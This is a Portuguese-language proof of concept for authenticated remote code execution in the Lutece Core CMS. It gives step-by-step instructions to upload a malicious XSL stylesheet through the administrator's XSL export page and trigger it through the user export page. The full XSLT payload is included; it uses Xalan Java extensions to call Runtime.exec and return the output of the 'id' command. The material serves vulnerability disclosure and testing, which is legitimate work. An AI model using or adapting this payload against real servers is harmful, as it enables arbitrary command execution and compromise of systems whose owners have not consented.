
Prova de conceito de exploração para execução remota de código autenticada via injeção de XSLT no Lutece Core, demonstrando execução de comandos por meio de folhas de estilo XSL elaboradas.
> Explicações e mais informações no meu site <
Você precisa de uma conta com privilégios de administrador.
No painel administrativo, navegue até a página de gerenciamento de exportação XSL:
/jsp/admin/AdminTechnicalMenu.jsp?tab=xslexportManagement#xslexport
Clique em "Adicionar uma nova folha de transformação".
Carregue um arquivo .xsl com o payload (comando simples id):
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:proc="http://xml.apache.org/xalan/java/java.lang.Process"
xmlns:is="http://xml.apache.org/xalan/java/java.io.InputStreamReader"
xmlns:br="http://xml.apache.org/xalan/java/java.io.BufferedReader">
<xsl:template match="/">
<xsl:variable name="process" select="rt:exec(rt:getRuntime(), 'id')"/>
<xsl:variable name="inputStream" select="proc:getInputStream($process)"/>
<xsl:variable name="reader" select="is:new($inputStream)"/>
<xsl:variable name="buffereReader" select="br:new($reader)"/>
<xsl:variable name="resultat" select="br:readLine($buffereReader)"/>
<Output>
<xsl:value-of select="$resultat"/>
</Output>
</xsl:template>
</xsl:stylesheet>
Salve a nova folha XSL.
Navegue até a página de exportação de usuários:
/jsp/admin/user/ExportUsers.jsp
Selecione a folha de transformação que acabamos de criar e valide.
O resultado do comando id deve estar no arquivo exportado.